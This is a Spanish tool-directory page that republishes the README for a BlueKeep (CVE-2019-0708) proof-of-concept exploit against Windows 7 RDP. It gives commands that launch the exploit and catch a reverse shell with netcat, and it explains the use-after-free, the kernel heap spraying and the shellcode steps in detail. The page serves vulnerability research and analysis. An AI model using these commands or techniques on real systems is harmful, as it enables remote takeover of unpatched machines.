Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2019-0708 — CVE-2019-0708 (BlueKeep) prueba de concepto que permite RCE pre-autenticación en Windows7 | Kitploit
Herramientas/GitHubGitHub/ricseclab/cve-2019-0708
Análisis de VulnerabilidadesExplotaciónPruebas de PenetraciónHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHubricseclab/cve-2019-0708

CVE-2019-0708

CVE-2019-0708 (BlueKeep) prueba de concepto que permite RCE pre-autenticación en Windows7

Ver Repositorio
15023hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2019-0708 (BlueKeep) POC de RCE sin autenticación en Windows7

Ricerca Security, Inc.

Este repositorio demuestra el fallo de ejecución remota de código en los Servicios de Escritorio Remoto (RDS) de Windows.

Aquí hay un código POC y un informe técnico sobre la vulnerabilidad BlueKeep, que desarrollamos anteriormente.
NOTA: Nuestro objetivo es ayudar a los analistas a comprender mejor las vulnerabilidades críticas.

Cómo usar

Requisitos previos

Nuestro código de exploit está escrito en Python 3 y depende de la biblioteca PyRDP. Configurelo siguiendo la guía de instalación de PyRDP.

Uso

Actualmente nuestro exploit apunta y ha sido probado en Windows 7 SP 1 (6.1.7601) x64 en Virtual Box.

Si su computadora tiene la dirección IP 192.168.56.1 y ataca al servidor RDP en example.com:1234, entonces escriba

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1

Si el script explota exitosamente el servidor, un shellcode de conexión inversa inicia una conexión TCP desde el servidor de vuelta a 192.168.56.1:4444. Por lo tanto, por ejemplo, debe esperar la conexión con netcat:

root@kitploit:~
$ nc -v -l 4444

Si desea cambiar el número de puerto al que el servidor se conecta de vuelta, use la opción -bp:

root@kitploit:~
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567

Informe

La Vulnerabilidad

En mayo de 2019, Microsoft reveló una vulnerabilidad crítica de ejecución remota de código CVE-2019-0708, en los Servicios de Escritorio Remoto (anteriormente conocidos como Servicios de Terminal). Esta vulnerabilidad es pre-autenticación — lo que significa que la vulnerabilidad es propagable, con el potencial de causar una interrupción generalizada. Un atacante puede explotar esta vulnerabilidad enviando mensajes del Protocolo de Escritorio Remoto (RDP) manipulados al servidor objetivo y obtener ejecución de código arbitrario con privilegios administrativos.

Canal Virtual RDP

Los Servicios de Escritorio Remoto de Microsoft proporcionan a un usuario sesiones interactivas de Windows de forma remota. Presentan el escritorio de Windows del usuario comunicándose con el cliente mediante el Protocolo de Escritorio Remoto (RDP) a través del puerto 3389/TCP.

El protocolo RDP tiene la capacidad de ser mejorado mediante extensiones de software llamadas Canal Virtual. Ejemplos de mejoras funcionales podrían incluir: soporte para tipos especiales de hardware, audio u otras adiciones a la funcionalidad principal.
Estos canales incluyen canales estándar proporcionados por Microsoft como "rdpdr" (Redirección), "rdpsnd" (Sonido), "cliprdr" (Compartir portapapeles), etc. Los usuarios pueden escribir módulos usando la API de RDP para admitir otros canales. Además de los canales anteriores, Microsoft crea dos canales por defecto: MS_T120 (usado para el propio RDP) y CTXTW (usado en Citrix ICA).

La vulnerabilidad está relacionada con el proceso de enlace de canales virtuales de MS_T120 a través de la solicitud "MCS Connect Initial and GCC Create". Hay más información de fondo disponible en ZDI.
Como se mencionó en el artículo de ZDI, todos los canales virtuales solicitados por el cliente se crean usando termdd!IcaCreateChannel(). Luego, los punteros a estas estructuras de canal se almacenan en una tabla, que llamaremos ChannelPointerTable.
Cuando se establece una conexión con el cliente RDP, todos los canales virtuales estáticos, incluido MS_T120, son inicializados internamente por el servidor RDP de Windows y apuntados por ChannelPointerTable.

La consulta para crear MS_T120 y CTXTW es emitida por rdpcore!WDLIB_IcaVirtualQueryBindings().

Fig. 1: Generación de la consulta para crear MS_T120 y CTXTW

Después de que la consulta se pasa a termdd!IcaBindVirtualChannels(), se crea una estructura de canal virtual en termdd!IcaAllocateChannel() y se registra en ChannelPointerTable.

Fig. 2: Creación y registro de la estructura de canal virtual

La rutina de función termdd!IcaBindChannel() es responsable de registrar una estructura de canal virtual en ChannelPointerTable. IcaBindChannel
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x1f.

Fig. 3: MS_T1209 está enlazado al slot 0x1f durante la solicitud inicial

Entonces ChannelPointerTable se ve de la siguiente manera. Nótese que MS_T120 siempre está presente en el Slot 0x1F.

Fig. 4: ChannelPointerTable durante la solicitud inicial

Análisis de la causa raíz

Existe una vulnerabilidad de use-after-free en el controlador del kernel de RDP de Windows, termdd.sys.
Un problema es que cuando el cliente especifica un canal con el nombre MS_T120\x00 durante "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() llama a termdd!IcaFindChannelByName() y devuelve la estructura existente del canal MS_T120 en el Slot 0x1F. Luego, esta estructura de canal se considera como una nueva entrada de canal virtual y se almacena en otro Slot (en este ejemplo, Slot 2) durante "MCS Attach User Request".
Aquí está el seguimiento de pila en Windows 7 x64, cuando termdd!IcaBindChannel() es llamada con el primer argumento "MS_T120" y el tercer argumento 0x2.

Fig. 5: MS_T1209 también está enlazado al slot 0x2 durante la solicitud de adjuntar

En otras palabras, la estructura del canal MS_T120 es apuntada por dos slots 0x1F y 0x2.

Fig. 6: ChannelPointerTable durante la solicitud de adjuntar

Si un atacante envía datos inválidos al canal MS_T120, termdd.sys cierra el canal usando termdd!IcaCloseChannel(), limpia el puntero en el slot. (Slot 2 en el ejemplo actual)
Sin embargo, el mismo puntero en el Slot 0x1F no se limpia.
Posteriormente, cuando la conexión termina, se invoca RDPWD!HandleDisconnectProviderUlt(), que a su vez llama a termdd!IcaChannelInputInternal() e intenta destruir nuevamente la estructura liberada del canal MS_T1209 usando el puntero en el Slot 0x1F. Un procedimiento de destrucción es invocado por el puntero vtable dentro de la estructura del canal. Esto lleva a una condición de use-after-free.

Fig. 7: Desreferenciación de vtable

Heap Spraying

Como se explicó en la sección anterior, RDPWD!HandleDisconnectProviderUlt() intenta llamar a una función desde el puntero vtable dentro de la estructura de canal liberada. Si un atacante puede controlar los valores en la estructura del canal, puede sobrescribir el puntero vtable, lo que lleva a la ejecución de código arbitrario con privilegios de kernel.
Sin embargo, para lograr esto, hay dos dificultades que superar.

Una es cómo controlar los valores en la estructura de canal liberada en primer lugar. Para ello, es típico y constante que un atacante asigne memoria en la misma ubicación donde se encuentra la estructura liberada, ya que la vulnerabilidad objetivo es de use-after-free.
Sin embargo, en este caso no hay una forma determinista para que él asigne su memoria en la ubicación objetivo como desea. Esto se debe a que, en el kernel, muchos hilos se ejecutan y asignan memoria (virtualmente) simultáneamente. Dónde se asignará su memoria depende del orden en que se ejecuten los hilos. En casi todos los casos, no puede estar seguro de si realizó una asignación exitosa.
HeapSizeChange
HeapSizeChange

La otra es dónde establecer las direcciones de la vtable y los punteros en ella. Como se vio en la sección anterior, se requiere que un atacante establezca la dirección de la vtable. Dado que quiere obtener ejecución de código arbitrario, debe establecer la dirección de modo que la vtable falsa contenga la dirección que desea que se ejecute (por ejemplo, la dirección de un shellcode o algún gadget). Sin embargo, casi con certeza no puede conocer una dirección adecuada debido a la aleatoriedad mencionada del heap del kernel y KASLR:

  1. Probablemente puede asignar memoria en el heap del kernel y escribir la dirección de un shellcode en la ubicación de memoria asignada. Sin embargo, normalmente no puede conocer la dirección del lugar asignado, debido a la aleatoriedad mencionada.
  2. Esto es poco probable, pero la otra opción es usar ubicaciones de memoria estáticas (no heap) que contengan una dirección de gadgets útiles por casualidad, como en algún lugar de la sección de código. Sin embargo, este plan tampoco funcionaría bien porque Windows 7 tiene la mitigación KASLR, que aleatoriza las direcciones de esas ubicaciones de memoria.

Estos hechos significan que un atacante no puede obtener directamente ejecución de código arbitrario incluso si puede controlar el puntero vtable, a menos que utilice otra vulnerabilidad que filtre direcciones en el kernel. Además, como puede notar, "la dirección de un shellcode o algún gadget" también es algo que un atacante no puede conocer.

Nuestro exploit aborda estos obstáculos mediante una única técnica: heap spraying. El heap spraying es un método para romper esa aleatoriedad, realizando una gran cantidad de asignaciones de una gran cantidad de memoria.

Fig. 8: Uso del pool de heap antes del spraying

Fig. 9: Uso del pool de heap después del spraying

Al repetir la asignación manipulada muchas veces, un atacante puede aumentar la probabilidad de que algo de la memoria asignada se sitúe en la ubicación de la estructura de canal liberada.

Si la mayoría de los objetos en el heap del kernel son preparados por un atacante, entonces puede incluso especificar descuidadamente alguna dirección en el heap como la dirección de la vtable falsa, porque la dirección especificada es muy probable que apunte a sus objetos. Notamos que la dirección base del heap del kernel no está aleatorizada por KASLR. Básicamente, la aleatoriedad del heap proviene solo del orden de ejecución de los hilos.

Afortunadamente y lo más importante, en Windows 7, el bit NX no está habilitado en el pool del kernel no paginado. Esto significa que un atacante puede almacenar en el heap del kernel, no solo la vtable falsa, sino también un shellcode directamente. Esto hace que la explotación sea mucho más fácil ya que no necesitamos emplear programación orientada a retornos.

Fig. 10: Permiso de entrada de tabla de páginas (PTE)

Para el heap spraying, obviamente un atacante necesita la funcionalidad que le permita asignar memoria en el heap del kernel y darle una entrada. Basándonos en el informe de Unit 42 y el exploit de BlueKeep en Metasploit, buscamos en los controladores del kernel rutinas que proporcionen esa funcionalidad. Hemos probado muchos PDUs y finalmente concluimos que la forma más confiable y útil es enviar un PDU de Canal Virtual al canal rdpsnd como hace uso el exploit de Metasploit. Para su referencia, expliquemos por qué no pudimos adoptar tres tipos de PDU introducidos en el informe de Unit 42:

  • Bitmap Cache PDU: en primer lugar, un atacante puede enviar este PDU solo durante el primer handshake. Debido a que el use-after-free ocurre después de que finaliza el handshake, esto no se puede usar para sobrescribir la vtable. Además, con ese PDU, un atacante puede asignar solo 0x2b5240 bytes (< 3MB) de memoria, que no son suficientes para el heap spraying.
  • Client Name Request PDU: pensamos que este PDU era prometedor para el heap spraying. Sin embargo, según lo que probamos, este PDU no se puede enviar (o recibir) varias veces al menos de manera directa. Debido a la falta de detalles, no pudimos determinar qué significa este resultado: que un atacante necesita enviar paquetes manipulados y complicados para utilizar este PDU, o que esta rutina ha cambiado y no funciona en un entorno de 64 bits.
  • Refresh Rect PDU: este PDU es eficiente para el heap spraying en el sentido de que un atacante puede asignar una cantidad de memoria mucho mayor que el tamaño de los datos que realmente envía. Sin embargo, dado que un atacante puede controlar solo 8 bytes de datos en la memoria asignada por este PDU, es difícil hacer un uso significativo de esta asignación. Omitimos los detalles, pero creemos que al menos 13 bytes (8 bytes para la vtable y 5 bytes para "jmp $+0x1000") de datos deberían poder controlarse para que un atacante pueda usar efectivamente este tipo de PDU.

El PDU de Canal Virtual, como su nombre indica, es intercambiado por el cliente y el servidor para transportar datos a canales virtuales estáticos. En cuanto a cómo se procesarán los datos dentro del PDU, varía según el canal. Entre varios canales conocidos que Microsoft proporciona como extensiones, el canal rdpsnd tiene la característica única de recibir cualquier entrada y asignar memoria para ella. Dado que este canal se puede usar por defecto en Windows 7, podemos simplemente enviar nuestras cargas útiles para el heap spraying.

Escribimos una prueba de concepto teniendo en cuenta los puntos importantes mencionados anteriormente, y logramos con éxito la ejecución de código arbitrario.

Fig. 11: Dirección de vtable controlada

Fig. 12: Se logró sobrescribir la dirección de la vtable con una maliciosa que apunta al shellcode (ud2)

Ejecución de Código

Aunque describimos cómo ejecutar un shellcode en la sección anterior, en realidad eso no es todo. El shellcode se ejecuta en el espacio del kernel, mientras que lo que un atacante quiere son privilegios administrativos en "userland". Son teóricamente similares en lo que puede hacer con ellos, pero diferentes en cómo puede realizar las acciones que desea. Por ejemplo, con un shellcode, un atacante puede necesitar escribir cien líneas de código ensamblador para listar archivos en algún directorio, mientras que con un shell privilegiado puede simplemente escribir 'dir'.

Por lo tanto, el objetivo de nuestro exploit es proporcionar un shell privilegiado para un atacante, y eso requiere algunos esfuerzos adicionales para lograrlo. Dado que el shellcode se ejecuta en el espacio del kernel, primero el shellcode necesita encontrar o crear un hilo de userland (privilegiado), y luego ejecutar cmd.exe en ese hilo. Esta vez debemos considerar dos aspectos: cómo encontrar o crear un hilo, y cómo asignar memoria en userland para ejecutar el shellcode en userland.

El primer aspecto de encontrar un hilo de userland surge debido al hecho de que el contexto donde se ejecuta el shellcode no es un contexto de proceso habitual. Si se ejecuta dentro de un contexto de proceso, puede simplemente usar la instrucción IRET para regresar a userland. Sin embargo, en este caso ejecutar IRET provoca que el kernel se congele. Hay varias formas de resolver este problema, pero entre esas formas, el método más general y útil es la llamada a procedimiento asíncrono (APC), el mecanismo que Windows proporciona para procesar eventos asíncronos. APC permite a un programa ejecutar funciones en un contexto de hilo específico incluso de un proceso diferente. Con este mecanismo, el shellcode puede crear fácil y legítimamente un nuevo hilo de userland.

Al registrar APC, necesitamos especificar la dirección desde la cual un nuevo hilo de userland comienza la ejecución. Sin embargo, hasta ahora solo asignamos memoria en el heap del kernel, a la cual un hilo de userland claramente no puede acceder. Para que un shellcode de userland se ejecute, debemos preparar otra ubicación de memoria que pueda ser vista desde userland, y almacenar allí el shellcode de userland. Por lo tanto, nos encontramos con el segundo aspecto de asignar memoria en userland. Una forma posible y normal de abordar este problema es crear un nuevo mapeo con ZwAllocateVirtualMemory. Sin embargo, esto es un poco redundante, y en realidad hay una forma más fácil en Windows 7: usar KUSER_SHARED_DATA. KUSER_SHARED_DATA es una estructura de datos almacenada en el mapeo dedicado, que está mapeado tanto en userland como en kernel land, y se encuentra en una dirección fija (0x7FFE0000 y 0xFFFFF78000000000, respectivamente). Esta es una característica similar a vsyscall en Linux. Si almacenamos el shellcode de userland en este mapeo, todo va bien: el shellcode del kernel puede copiar el shellcode de userland en este mapeo, y registrar APC sin dificultad ya que conoce la dirección del mapeo.

Fig. 13: El shellcode se almacena en el mapeo dedicado, 0x7FFE0000 (modo usuario) y 0xFFFFF78000000000 (modo kernel)

Fig. 14: Un cuerpo de Shellcode

Por lo tanto, hay muchas cosas que hacer después de obtener ejecución de código arbitrario, aunque todas ellas pueden resolverse casi directamente. Finalmente, nuestro exploit logró su objetivo.

Versiones Afectadas

Esta vulnerabilidad tiene asignado el número CVE, CVE-2019-0708. Microsoft ya publicó un parche de seguridad KB4499175 el 15 de mayo de 2019.
Puede ver más detalles sobre la vulnerabilidad, las versiones afectadas y la mitigación aquí.

Agradecimientos

Este proyecto fue parcialmente apoyado por Advanced Technology Lab, Recruit Co., Ltd. Advanced Technology Lab

Descargar herramienta